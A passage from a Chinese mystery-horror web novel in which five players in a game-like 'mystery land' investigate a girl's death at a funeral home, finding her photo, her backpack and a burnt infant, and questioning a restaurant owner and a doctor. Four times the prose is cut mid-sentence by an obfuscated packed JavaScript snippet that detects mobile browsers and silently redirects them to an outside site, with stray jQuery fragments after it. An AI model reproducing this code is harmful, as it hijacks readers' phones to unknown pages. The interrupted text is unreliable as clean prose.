上面的两格抽屉里零零散散放着一些办公用品和印章,左侧最底层的抽屉里放着一个六寸大小的木质相框,其余三个抽屉均是空空如也。 相框呈正面倒扣状放置,霍闻川躬身拿起相框,将正面翻上来,是一名身穿淡青色长裙少女的照片。 照片里,长发及腰的少女左肩挂着一只橙色的双肩包,站在一墙紫色的花朵前,笑容僵硬地看着镜头。 霍闻川注意到,少女垂下的双臂紧贴在身侧,双手紧握成拳,下巴微微往内收,似乎有些害怕。 少女表情的不自然令霍闻川心生怀疑,随即拆开相框,从里面拿出照片,看到照片背后有一行蓝色的小字:李书月,摄于2014年8月11日。 能放在园长办公室的照片,这个名叫李书月的女孩肯定跟王齐东有关系,根据二人的年龄推断,正常情况下,李书月应该是王齐东的女儿。 这张照片疑点甚多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419452|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,霍闻川把它装进衣服的隐形口袋里,并将相框同样倒扣着放回抽屉,随后来到文件柜前。 霍闻川拉了一下柜门,打不开,但办公桌的抽屉里却没有看到钥匙。 宿舍门、办公室的门都没有锁,单单文件柜被锁上,霍闻川笃定里面有重要证物。 这种铁皮柜,用破坏性的力气肯定能强行拉开,只是现在情况不明,而证物往往不会全部集中在一个地方,还需要找出更多的证物使案件清晰起来,所以他不敢打草惊蛇,谁也不知道王齐东在发现柜门被打开后会有什么反应。 接着,霍闻川又找了饮水机和沙发底,没有更多的发现。 除打不开的文件柜之外,园长办公室已经找不到更多的证物,霍闻川果断关门离开,继而来到隔壁的接待室,看到傅平湘也把沙发挪到旁边在检查沙发底。 傅平湘一个抬头,瞥见霍闻川出现在门口,连忙热情地招呼:“霍大帅哥。” 霍闻川问:“有发现吗?” 傅平湘两手摊开,微耸肩膀,“一无所获。” 接待室的布置比园长办公室更简单,只有两组皮沙发和一张玻璃茶几,而且看样子傅平湘已经都找完了。 “把沙发挪回原位吧,我们去储物室看看。”霍闻川说完便侧过身走向储物室。 储物室的面积大概有两间园长办公室大,里面横七竖八地堆满货物,姜银砚正忙着翻箱倒柜。 “阿砚。”霍闻川抬腿跨过一口及膝高的纸箱,朝姜银砚走去。 姜银砚回头看一眼霍闻川,愁眉苦脸地说:“里面全是祭奠用品。” “阿砚,先暂停一下,我给你看一张照片。”霍闻川从隐形口袋里拿出李书月的照片。 在霍闻川将照片递过来时,姜银砚一眼认出照片里的人,当即露出惊惧的表情:“是她。” “是谁?”傅平湘的声音在门口响起,他两三步走到霍闻川身旁,看向霍闻川手里的照片,“这是谁啊?” “打火机召唤出来的那个女鬼。”姜银砚语速极快,咬字也略重,内心惊恐可窥一斑。 傅平湘当场后退一步,别过头,再不敢看那张照片,“霍……霍帅,这是你在园长办公室找到的?” “具体一点是在办公桌最后一层的抽屉里找到一个相框,我把照片取了出来,照片中的人叫李书月,是本案的死者。”霍闻川将李书月的照片拿给姜银砚看就是想确认李书月是不是死者,现在已经确定,的确是她。 “你怎么知道她的名字?”傅平湘惊讶地问。 霍闻川将照片的背面翻上来,傅平湘恍然大悟 姜银砚很快从霍闻川给出的信息里提取出重要部分,分析道:“李书月的照片放在园长办公室的抽屉里,难道李书月是王齐东的女儿?” 傅平湘却觉得不对,“李书月姓李,王齐东姓王,两个人能是父女?” 姜银砚用看井底之蛙的眼神扫傅平湘一眼,“有何不可?很多孩子随母亲的姓,这很正常。” 霍闻川将照片放回口袋,“所以我们需要找到更多的证物,目前只有一张照片,还远远不够。” “那我们抓紧时间找。”姜银砚埋头继续翻找。 三个人在储物室里东翻西找,不一会儿,姜银砚在角落一口积着厚厚一层灰的纸箱里翻出一只橙色的双肩包,竟然和照片中李书月背的包一模一样。 姜银砚拎着包激动地对二人说:“你们看,这像不像照片里李书月背的包?” 7. 白华园殡仪馆 傅平湘盯着姜银砚手里的双肩包端详,刚才看照片时他只是匆匆一瞥,并未留意太多细节,只依稀记得李书月肩上挂着一抹黄色,语气故而不太确定:“好像……是。” “外观一样。”说话间,霍闻川已经走到姜银砚面前,“阿砚,我们把它打开看看。” “好。”姜银砚蹲下身将包放在地上,拉开包链,看到里面有一只素色笔袋和一张笔记本护封。 霍闻川先将笔袋从包里拿出来打开,里面装着两件东西。 一件是一张银行卡形状的高中学生卡,上面是李书月的个人信息,另一件是一支印着“白华园殡仪馆”的中性笔。 姜银砚随后从包里拿出护封,发现内侧脊梁处粘着好几片指甲盖大小的纸屑,“你们看这里。” 傅平湘闻言看过去,“啥都没有啊。” 霍闻川一眼便看出问题所在,“如果笔记本的内芯是因为胶失去黏性后自动脱开,不会留下破碎的纸屑。只有一种可能,有人强行把内芯撕掉。” 经过霍闻川的分析,傅平湘也终于看出不对劲,把护封拿在手里仔细观察,“李书月自己撕的吧。” 姜银砚却不赞同傅平湘的观点:“我更倾向于是别人撕的,要是李书月想毁掉笔记本,或者藏起来,完全没必要留下护封,一张护封能有什么影响?只有跟笔记本内容相关的人才会想要这么做。他倒是聪明,只撕掉内芯,留个外皮,造成内芯是自动脱落的假象,想以此迷惑探案人员。” 傅平湘乍一听觉得有道理,但细想又觉得不对,“可是探案人员怎么知道李书月有个笔记本?连护封一起毁掉不是更简单?” 霍闻川平静地分析:“有第三个人见过李书月的笔记本,并且,极有可能知道笔记本的内容。” “也就是说,”傅平湘若有所思地道:“那第三个人跟笔记本里面提到的人不是一伙的。” “线索和证物不足,目前都只是推测。”霍闻川的注意力转到中性笔上,“我们假设一下,如果李书月不是王齐东的女儿,那么李书月跟殡仪馆之间的联系会是什么?” 姜银砚猜测:“李书月是王齐东亲戚的女儿?” 傅平湘接着姜银砚的话说:“姜姐姐的推测很有道理啊,因为李书月跟王齐东沾亲带故,所以会经常来殡仪馆玩。” 霍闻川却反问:“假如你某个叔叔或阿姨在殡仪馆、火葬场、墓园之类的地方工作,你会经常去玩吗?” 傅平湘想也不想就无比坚定地摆头,“打死也不去。” “所以说李书月还是王齐东的女儿?”姜银砚的思维已经转不开了。 “我们干脆直接去问王齐东得了。”傅平湘的五官几乎要皱成一团,绞尽脑汁也想不通其中的关联。 “你长没长脑子?”姜银砚一指头戳在傅平湘的脑门上,“万一王齐东就是凶手或者帮凶,你这不是自投罗网?” 傅平湘不可思议地望着霍闻川,“npc能是凶手?” 霍闻川拉起笔袋的拉链,“不是没有这种可能。” 傅平湘轻“啧”一声,“看来那个王齐东还真不是个简单人物啊。” “闻川小哥,我们接下来应该怎么做?”姜银砚已然将有经验又性情温和的霍闻川视作团队里的决策者。 霍闻川看一眼手表,而后说:“储物室我们基本已经找遍了,现在还有点时间,我们去火葬区看一下蒲耀和郑暧有没有找到什么证物,顺便把我们找到的证物和猜想告诉他们,大家群策群力。” 姜银砚手里还拎着李书月的包,她问:“李书月的包怎么办?” 霍闻川将笔袋递给傅平湘,“我们把笔袋和护封带走,包放回原来的纸箱里。” 将储物室的门关上后,三人便朝楼梯口走去。 路过卫生间时,傅平湘说:“你们等我两分钟,我上个厕所。” 傅平湘进去后,姜银砚和霍闻川就在外面讨论今天找到的证物,忽然听到卫生间里传来一声惊叫,紧接着就看到傅平湘张皇失措地冲出来。 姜银砚一把抓住傅平湘的胳膊,“怎么了?” 傅平湘反手攥紧姜银砚的袖子,大喘气不停,“里面有……有东西。” 看傅平湘的状态,恐怕不是什么好物,霍闻川眉心微凝,“是什么?” 傅平湘咽了口唾沫,余悸未定地看向卫生间,“一个……一个烧焦的布娃娃。” “一个布娃娃就把你吓成这样,”姜银砚不以为意地调侃道:“傅平湘,你能不能有点儿出息?” “你是没看到……那个布娃娃……”傅平湘刚要辩驳,就听霍闻川说:“你们在外面等我。” “霍帅别去……那个布娃娃在……在流血。”傅平湘想阻止霍闻川,但霍闻川丝毫不在意,眨眼消失在卫生间的门口。 看到霍闻川进去后,姜银砚也准备跟上,傅平湘把她死死拽住,“你要干什么?” 姜银砚着急地说:“我担心他一个人进去会有危险。” 一番思想挣扎后,傅平湘咬咬牙,“我跟你一起去。” “好。”姜银砚走在前面,傅平湘躲在她身后,两人紧张地往里走。 卫生间里面光线暗淡,主要的光源来自于墙壁和天花板相接处的一扇小方格窗。 两人刚走进来便觉出一股说不清的阴森感,但那股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419453|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴森感并不是来自于昏暗的环境,反而像是三更半夜闯入了一间凶宅,让人禁不住头皮发麻。 更诡异的是,两人明明看到霍闻川进了卫生间,但现在里面却空无一人。 一个大活人竟然凭空消失,恐惧感瞬间被放大,两人的双腿像是被灌了铅,半步也挪不动。 “闻川。”姜银砚低低地喊。 等待半晌都无人回应,一派落针可闻的寂静里,均匀而缓慢的滴水声像是一把铁锤不停地砸向两人颤抖的心脏。 空气仿佛都变得凝固起来,姜银砚紧张得喉咙发干,突然间,“吱……啦……”一声,最后面隔间的门竟然在缓缓打开。 一刹那,压制不住的惊骇直冲天灵。 在叫出声的前一秒,傅平湘用手紧紧捂住了嘴,眼下要不是姜银砚还在自己身旁,他早就已经飞奔出去。 姜银砚比傅平湘好不到哪里去,她没有转身往外跑纯然是因为霍闻川还在里面,她不能丢下同伴不管。 两人一眼不眨地盯着那扇打开的门,身体里的每一个细胞都在释放危险的信号。 一双焦黑的手霍然出现在门底,徐徐往外爬。 姜银砚不知道哪里生出的勇气,竟然大喊一声:“霍闻川。” 那双手往外爬的动作一顿,与此同时,“阿砚。”霍闻川也终于有了回应。 在霍闻川从中间一个隔间里走出来的时候,那双手开始往回爬,很快消失在视线里。 姜银砚一个箭步冲到霍闻川跟前,关切地问:“闻川,你没事吧?” 霍闻川浅浅笑道:“让阿砚担心了,我没事。” 傅平湘急促地呼出一口气,捂住心口,“我迟早要被吓死。” 霍闻川露出询问的表情。 姜银砚指向最后那个隔间,解释说:“那里刚才有一双焦黑的手在往外爬。” 霍闻川扭头看了一眼后,毫不犹豫地朝那个隔间走去,最后在两人不安的目光中摇摇头。 “刚才明明有一双手啊。”姜银砚疾步走过去,往里面看,果然什么都没有。 这时,傅平湘猛然想起他们进卫生间的目的,忙问:“霍帅,你看到那个流血的布娃娃没有?” 霍闻川关上隔间的门,“看到了。” “在哪里?”姜银砚问。 霍闻川声音变得低沉,“出去说。” 三人出来后,霍闻川看向傅平湘的眼神里充满严肃,“你看到的不是布娃娃。” “不会吧,”傅平湘边用手比划边说:“就这么大,还穿着公主裙,是布娃娃啊。” 霍闻川语气略有加重:“不是布娃娃,是死婴。” 8. 白华园殡仪馆 姜银砚和傅平湘同时倒抽一口凉气,刚落回的心又猛地提到嗓子眼儿。 傅平湘声音颤抖地说:“霍……霍帅……你别吓我,那个布娃娃还……还冲我笑来着……” “快别说了,”姜银砚搓着两条手臂的鸡皮疙瘩,“太瘆人了。” 看两人都惊恐不已,霍闻川适时中断这个话题,“我们去火葬区找郑暧和蒲耀。” 话音刚落,姜银砚和傅平湘逃也似的狂奔下楼,那拼命的模样,活似后面有人在提刀追砍。 再看霍闻川的步态却是不疾不徐,他到楼下时,那两人已经喘了有十来口气。 三人来到火葬区时,郑暧和蒲耀也刚好从里面出来。 蒲耀看上去倒还算从容,礼貌道谢后便把手表摘下来还给霍闻川,而郑暧却显得有些垂头丧气。 姜银砚迎上去问:“小暧,你们有什么发现吗?” “只找到一块石头。”郑暧摊开右手,掌心卧着一块小熊形状的石头,黑乎乎的像是被火烧过。 “哇,小暧,这是很重要的发现啊。”姜银砚倒不全是为安慰郑暧才这样说,她是当真认为这块石头和案情有关。 郑暧一脸的不可思议,“真的吗,小姜姐?” 蒲耀目露端详之色,仿佛想通过姜银砚的微表情来判断她话语里的真假有几分。 傅平湘却没有蒲耀的那份心思,他对姜银砚的话深信不疑,赶紧来到郑暧身旁,拿过石头查看,急不可待地问姜银砚:“姜姐姐,这块石头到底怎么个重要法?” 姜银砚在开口之前先向霍闻川看去,似乎在征求这位决策者的意见。 “我相信阿砚的判断。”霍闻川面含浅笑,眼中一片晴和。 被有经验的前辈肯定,姜银砚心中十分欢喜,也更有底气,她拿出放在自己包里的笔记本护封,“在说这块石头之前,我先把我们找到的证物给你们看。” 霍闻川随之拿出李书月的照片,傅平湘见状也立马取出装在自己身上的笔袋。 姜银砚将他们在二楼找到证物的过程和猜测,以及卫生间里可怕的突遇事件,均一五一十地告诉给郑暧和蒲耀,之后再说出自己对石头的看法:“孙田半身被烧焦,我们在卫生间里看到的死婴和那双手也都是焦黑,而你们又在火葬区找到一块同样焦黑的石头,我觉得这不是偶然,其中必然有什么联系,只是我们现在缺少一根将它们串联起来的绳。不过,我几乎可以肯定的是,这件案子跟火有关,或许死者生前就是被火烧死的。” 听完姜银砚的分析,郑暧的失落感一扫而空,激动地问:“小姜姐,那这块石头算是证物吗?” 姜银砚:“我认为应该算,你把它保管好吧。” 傅平湘将石头还给郑暧,“算起来我们一早上的收获还挺丰富啊。” “是啊,小傅哥。”郑暧和傅平湘二人在对案情做各种猜测时,姜银砚侧过头问霍闻川:“闻川,刚才一直忘记问你,你那个时候在卫生间里看到了什么,为什么说是死婴?” 傅平湘的注意力立马被姜银砚的话吸引过来,也看向霍闻川,“哦对,霍帅,我也想问你这个来着。” “我抱她了。”霍闻川语出惊人,姜银砚和傅平湘直接怔在原地,两人万万没想到霍闻川居然抱了死婴。 此言一出,蒲耀再看霍闻川的眼神里多了几分五体投地的佩服,郑暧更是瞪愕而视。 当事人却平静得仿佛在卫生间里抱的不是死婴,而是一束鲜花。 忽视掉四双意味各不相同的目光,霍闻川继续说:“看到她的第一眼,我和傅平湘一样,把她错认成是个被烧焦的布娃娃,直到她向我爬来。” 单是凭言语想象那个场景,傅平湘就禁不住后脊背发寒,“然后你就抱她了?” 霍闻川没有直接回答傅平湘的问题,而是反问他:“你是不是看到她在流血?” 傅平湘猛点头,“我现在一想起来就毛骨悚然。” “死婴头顶插着一把黄色的美工刀。” 一语如投石激浪,瞬间挑起众人愤怒的情绪,姜银砚气得张口痛斥:“什么样的人渣才能干出这么残忍的事?” 傅平湘飚出一连串的脏话后,咬牙切齿地说:“真特么枉为人。” 郑暧一阵唉声叹气,“好可怜。” 霍闻川耐心等待众人发泄情绪,当三人都收声后才温言道:“我能理解你们的愤怒,但也要提醒大家,这里是迷案之地,在怜悯受害者的同时,保持必要的警惕。” 一直默不作声的蒲耀开口说:“我们昨天晚上拆纸箱的工具也是一把黄色的美工刀。” “我的妈,”傅平湘大喊一声,“那是凶器啊。” 姜银砚沉着地说:“别一惊一乍的,不一定就是我们用的那把。” “储物室里有几乎一整盒崭新的黄色美工刀。”霍闻川说这句话时一直在低头看表,姜银砚早上就注意到他有这样的动作,猜测应该是他思考问题时的习惯。 思绪再回到美工刀上面,姜银砚眉头微收,“我甚至要怀疑这位王馆长就是凶手了。” 傅平湘根据姜银砚的怀疑灵光一闪地推想道:“文件柜里面会不会就锁着王齐东的罪证?” “没有钥匙,我们也打不开啊。”郑暧沮丧地说。 傅平湘却信心十足,“霍帅肯定有招。” 霍闻川只是笑笑,没接话。 目前找到的证物对于整个案件来说只是掀起了冰山一角,虽无法即时侦破,但好在已经有了头绪,等同于给一场即将到来的考试划出了知识点范围。 “还有饭馆的秦姐,”姜银砚说:“我总觉得她和这个案子有脱不开的关系。” 蒲耀进一步说:“这里吃饭的习惯也很奇怪,早饭过于丰盛,三餐都要喝酒。” 姜银砚提出疑问:“但是这里又有早餐店,卖的同样是包子油条豆浆,这一点和现实世界一样。我估计三餐喝酒这种怪异的说法只存在于聚源饭店,早餐丰盛同理。” 傅平湘武断地下结论:“我看那个秦姐就是王齐东的同谋。” “是否同谋还有待求证,但秦姐一定是局内人。”霍闻川说:“午餐时,我们找机会探秦姐的口风。” 郑暧面露担忧之色,“会不会打草惊蛇啊?” 霍闻川直言不讳地说:“会。” 在这一点上,姜银砚与霍闻川有一定的共识,她目光如炬地看向霍闻川,“大概就跟现实世界一样,某些情况下明知会打草惊蛇但还是要做,因为无法避免。” 霍闻川毫不掩饰地赞扬道:“我很欣赏阿砚的接受力。”看了看表,“该吃午餐了。” 一行五人再次来到聚源大饭店,跟早餐一样丰盛的饭菜上桌后,秦姐依然热情地打开两瓶酒,“自家酿的高粱酒,度数不高,几位尽管敞开了喝,完全不用担心会醉。” 姜银砚好言相拒:“多谢秦姐的美意,我们几个平常都是滴酒不沾。” 傅平湘急忙附和:“对对对,我喝酒过敏。” 蒲耀:“我喝酒上脸。” 郑暧:“我……我一沾酒就浑身起红疹。” 三人找的借口都跟身体有关,若是遇到无赖之徒,仍有被劝酒的风险,但霍闻川的借口却直接能让劝酒变成犯罪:“很抱歉,我最近几天都在服用头孢。” “这……”秦姐的劝酒计划落空,夷由片刻,最终妥协,盖回瓶盖,挂起笑脸,“那行,你们好好吃饭,加菜就叫我。” 傅平湘竖起大拇指拍秦姐的马屁:“我走南闯北二十年很少见过这么足量的饭菜,还是秦姐良心。” 秦姐被傅平湘夸得心花怒放,“我们这儿米饭管够,我再送你们一盘凉拌藕丁。” 说完便喜笑颜开地往后厨去,很快端出来一盘凉拌藕丁加到桌上。 秦姐走后,姜银砚一本正经地玩笑道:“小傅同学凭借一己吹嘘之力让我们成功蹭到一盘凉拌藕丁,我代表大家向你表示最诚挚的谢意,所以把我的这份鸡腿让给你吃,以兹鼓励。” “姜姐姐讲究。”傅平湘丝毫不客气,盘里总共五个鸡腿,他一下夹走两个。 霍闻川唇角微微勾起,将放在自己跟前的凉拌藕丁推到姜银砚面前。 “闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419454|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川,”姜银砚突然露出惊讶的表情,随后猛地凑近霍闻川,“老实讲你是不是会读心术?” 咫尺之距,姜银砚一双水透的眼睛波光粼粼,瞳孔又似泼墨般漆黑,一眨一眨的闪动之下,宛如湖光山色尽噙其中。 霍闻川笑问:“所以我猜对了吗?” 姜银砚爽声爽气地说:“完全正确,我真的很喜欢藕做的食物。” 忙着啃鸡腿的傅平湘抽空赞道:“霍帅真乃神人也。” “小霍哥真厉害。”郑暧也跟着夸道。 蒲耀见凉拌藕丁的量比较少,便说:“姜小姐,需不需要再给你点个藕?” 姜银砚笑盈盈地说:“够啦。” 傅平湘戏谑道:“当心吃藕……丑。” “嘿,我能打得你满地找牙你信不信?”姜银砚笑容顿收,佯嗔着将筷子掠向傅平湘,“你把鸡腿还我。” 傅平湘将刚啃干净的骨头丢到小盘里,推给姜银砚,“很遗憾,你的鸡腿已经被我吃进肚子了。” 姜银砚指着傅平湘碗里还一口未动的鸡腿,“睁眼说瞎话,把你碗里那个给我。” 傅平湘连忙抱碗护食,“碗里这个是我的。” 姜银砚哭笑不得,“刻你名儿了?” 傅平湘拿起鸡腿就是一口,“牙印为证。” 霍闻川夹起一只鸡腿送到姜银砚碗里,眉眼温温然,“阿砚,吃饭吧。” 姜银砚望一眼盘中仅剩的两只鸡腿,“闻川,你不吃吗?” 霍闻川语气轻缓:“不是非吃不可的食物。” 姜银砚注意到郑暧在数米粒式吃饭,胃口甚至不如早上,便问:“小暧,怎么了吗?” 郑暧茫然地抬起头,“小姜姐,我没事啊。” “我看你好像没什么胃口呢。” 姜银砚的关心让郑暧心头一暖,“啊,可能是因为没有我喜欢的菜,所以就吃得少了点。” 姜银砚关切地问:“你喜欢吃什么菜?” 郑暧以为姜银砚在跟自己闲聊,便不假思索地说:“我比较喜欢糖醋莲白。” 姜银砚想起早上是有这道菜,“要吃饱才有力气做事,你先将就着吃点别的,我去让秦姐给你炒个糖醋莲白。” 郑暧不好意思地说:“小姜姐,不用麻烦了,这些菜我也能吃。” “不麻烦,你等我一下。”姜银砚说罢就搁筷起身。 霍闻川也突然站起,“我和你一起去。” 两人对视一眼,姜银砚立刻明白霍闻川想做什么,点点头,跟他一前一后地往后厨去。 秦姐在后厨理菜,看到姜银砚和霍闻川走进来,连忙就着围裙擦手,“要添饭吗?” 姜银砚微笑道:“秦姐,麻烦给我们加个糖醋莲白。” “哎呀真不巧,莲白今早用完了。”秦姐看一眼地上的菜筐,弯腰从为数不多的菜里拿出两根紫茄,“还有茄子,要不做个糖醋茄子,味道也不错。” 姜银砚缓缓摇头,“秦姐,那就不用麻烦了。” “秦姐,你这间餐馆开多少年了?”霍闻川以闲话家常的方式打开话题。 “有……”秦姐想了想,“十几年了吧。” 霍闻川:“平时就是你一个人操持吗?” 秦姐一边理菜,一边说:“我一个人哪忙的过来哟,还有个干杂活儿的老姐儿,前天休假去了。” 霍闻川:“王馆长跟我们说馆里的人平时都在你这里吃饭,那应该有员工价吧,我们以后带朋友过来吃饭也可以给我们优惠吗?” 开门做生意,自然是能多一单是一单,秦姐立马眉开眼笑,“那都不用说,馆里的人带朋友过来吃饭,我一律给最低折扣。” 铺垫到此结束,霍闻川进入正题:“你跟王馆长很熟吗?” 秦姐顿了一下,溢于言表的喜悦逐渐消散,但还是勉强维持笑容,“他常在我这儿吃饭,老顾客了。” 两人即时捕捉到秦姐微妙的变化,姜银砚赶紧趁话追问:“王馆长有子女吗?” 秦姐将摘下来的黄菜叶丢进泔水桶,“没听说他有子女。” 9. 白华园殡仪馆 姜银砚心头一震,迫不及待地问:“那他有老婆吗?” “他没结过婚。”秦姐似乎已经失去耐心,回答也变得有些漫不经心。 “你认不认识李……”姜银砚震惊于王齐东的个人信息,急于获求真相,脱口就要问李书月的事,却被霍闻川一下捂住嘴,摇头示意她不要着急,姜银砚这才冷静下来,囫囵咽回后半句话。 而这一瞬间的接触,姜银砚嗅到霍闻川身上有一股清冽的淡香,带着一丝初秋早晨山里的空凉,颇有些沁人心脾的舒爽,竟让她生出一些莫名其妙的留恋感。 松开姜银砚后,霍闻川礼貌地说:“秦姐,晚上如果有莲白,请帮我们炒个糖醋莲白。” 秦姐终于又挂回笑脸,“放心吧。” 走出厨房后,姜银砚忍不住问:“闻川,你用的什么香水?” 霍闻川偏头看她,“白山风,香水名。” “白山风。”姜银砚喃喃地念了一遍,“名字真好听。” 霍闻川唇角微勾,“好闻吗,阿砚?” 姜银砚将落到鬓前的头发别到耳后,凑近霍闻川深深一嗅,“我不用香水,所以没什么心得体会,不过你身上的香水味是我闻过的所有香水中最清新的一款。” “我很高兴。”霍闻川眼波里尽是如柳絮一般的温柔,要不是昨夜看到他对孙田动手,姜银砚恐怕要认为他没有任何脾气。 两人回来后,正在吃饭的三人齐刷刷望向他们。 傅平湘将啃到一半的鸡腿丢回碗里,随手抽出一张餐巾纸将嘴胡乱一擦,而后激动地问:“怎么样?怎么样?你们打听到什么没?” 几乎穿墙的音量让姜银砚脑门心子直发疼,狠狠地瞪他一眼,“你生怕npc听不见吗?” 傅平湘自知有错,所以不敢还嘴,朝郑暧和蒲耀撇撇嘴,“姜姐姐好凶残。” 姜银砚没搭理他,坐下后就把王齐东未婚无子女的消息告诉了大家,眉间徐徐叠出一个淡淡的“川”字,“事情越来越扑朔迷离了。” 看几人在得知此事后均一脸愁容,已然失去食欲,霍闻川悠然地握筷夹菜,道:“饭菜剩太多会引起于我们不利的注意。” 话一出,四人连忙埋头吃饭。 一餐饭毕,满桌菜在五人的努力下已经所剩无几,霍闻川低头看表,还差十五分钟到一点,“我去跟秦姐打声招呼。” 姜银砚喝下碗里最后一口汤,“我们到外面等你。” 四人在外面只等了不到一分钟,便看到霍闻川从里面出来。 霍闻川刚走到门口,姜银砚突然感觉自己的胳膊被人撞了一下,回头一看,见是傅平湘正昂首望着二楼,神神秘秘地说:“上面有人。” 闻言,三人连忙仰颈上望,看到二楼左边窗户的窗帘有轻微的摆动,但人已经不见了。 姜银砚一瞬不瞬地盯着窗帘的摆动之处,问傅平湘:“看清楚是谁了吗?” “一晃眼就不见了,不过看身高貌似是个四五岁左右的孩子。”傅平湘视力极好,但那人躲闪得太快,所以他也没来得及看清。 郑暧端详一阵后见不再有动静便收回目光,揣测说:“可能是秦姐的孙女或者孙子吧。” “我们向周边邻居打听的时候可以问问秦姐家里有没有小孩。”霍闻川晚一步出来,没有看到窗帘的动静,但他从四人视线的一致上便知道有人的是左边窗户,他只抬头看去一眼,未以更多的观察。 蒲耀建议:“我们还是跟早上一样分成两组吧。” 霍闻川再次拿出那块备用手表给蒲耀,“我们分两个方向走,赶在四点钟之前回到殡仪馆。” 聚源饭店再往前三十余米恰好是一个三岔路口,两组人便各往左右而去。 霍闻川三人越往前走,路旁的房屋便越多,最后竟来到一处热闹的集市,有装着新鲜蔬菜的货担、卖鞋的简易摊桌、挂满衣服的铁架等等,赶集的人可谓是络绎不绝。 明明是来打探消息,却被傅平湘硬生生走出一股逛街风,他高兴地左瞧右看,“咱们遇上赶集的日子了,我小时候最喜欢的事就是和奶奶去赶集。” 对于傅平湘良好的心态,姜银砚感到哭笑不得,忙拉了拉他,“你是继续赶集,还是跟我们去办正事?” “谁说赶集就不能办正事了?”傅平湘理直气壮地反问。 姜银砚指着两旁一眼看不到头的货物,“那我问你,你有钱买吗?” “nonono,”傅平湘竖起一根手指左右摆动,“逛街的终极奥义并不是买,而是逛。” 姜银砚刚想说他胡说八道,却听霍闻川淡然开口:“你可以继续逛,我和阿砚去打听事情,结束后在这家茶叶铺汇合。” 说话间,霍闻川视线移向右手旁一家绿色招牌的茶叶铺。 “没问题。”傅平湘打出一个清脆的响指后,当真有模有样地闲逛起来,观那情态,是十足的投入。 姜银砚有些无语。 “阿砚。”霍闻川唤她。 “怎么了?”姜银砚微微抬头看去,只见霍闻川的目光落在前面不远处的一家诊所上。 霍闻川:“我们去那家诊所。” 诊所里现在只有一名头发花白的老医生,戴着一副厚厚的老花镜,坐在柜台后埋头翻看医书,时不时划上两笔,聚精会神到连两人行来面前都浑然不觉。 “老医生。”姜银砚含笑唤他。 老医生终于抬起头来,看到面前有两个人,便问:“谁瞧病?” 姜银砚拍拍霍闻川的肩,随后说出两人在门外商量好的托辞:“我哥哥昨晚在一家饭馆吃了饭,回去就拉肚子,现在还没好。” 老医生搁下笔,打量霍闻川,“以前有没有过?” 霍闻川坐在老医生对面的方凳上,装出一副虚弱的模样,“从来没有过。” 老医生把放在桌角的藏蓝色脉枕拿到中间,“把手放上来。” 把过脉又观过舌苔后,老医生问了一句似乎和症状毫不相干的问题:“小伙子,睡眠怎么样?” 霍闻川:“还好,只是比往常醒得早。” “每一处变化都是身体给你敲的警钟。”老医生收起脉枕,“年轻人,要多锻炼,少熬夜,不然老得快。肠胃没什么大问题,不用开药,这两天就尽量吃清淡些,最好是少油少辣。” 姜银砚担忧地问:“老医生,是不是饭馆的菜不干净所以我哥哥才拉肚子了?” 老医生:“饭馆当然赶不上家里的饭菜干净。” 霍闻川顺话便问:“老医生,你知道聚源饭店吗?” 老医生:“你们在那儿吃的?” “是啊,我们看老板娘一个人开店也不容易,还要养孩子,就想着去照顾她的生意。”姜银砚终于把话题引到目的上来。 老医生用手扶一扶老花镜,眼神怪异地看着两人,“你们看错了吧,那家没孩子。” 想起那两栋遮挡严实的窗户,姜银砚不禁一个心抖。 霍闻川略作惊讶,而后缓缓道:“看来是个误会,应该是邻居家的小孩子来串门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419455|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让我和妹妹误以为是老板娘的孩子。” 姜银砚紧接着问:“老板娘没结婚吗?” 老医生的回答让两人诧异无比:“她男人以前是给殡仪馆开车的,几年前出车祸死了。” 走出诊所后,姜银砚眉头紧锁,像是遇到疑难之事。 “阿砚,怎么了?”霍闻川关切道。 姜银砚看向他的眼睛,“闻川,我总觉得哪里不对劲,整件事好像越来越玄乎了。” 霍闻川辞气轻如微风:“我和阿砚有同样的感觉。” 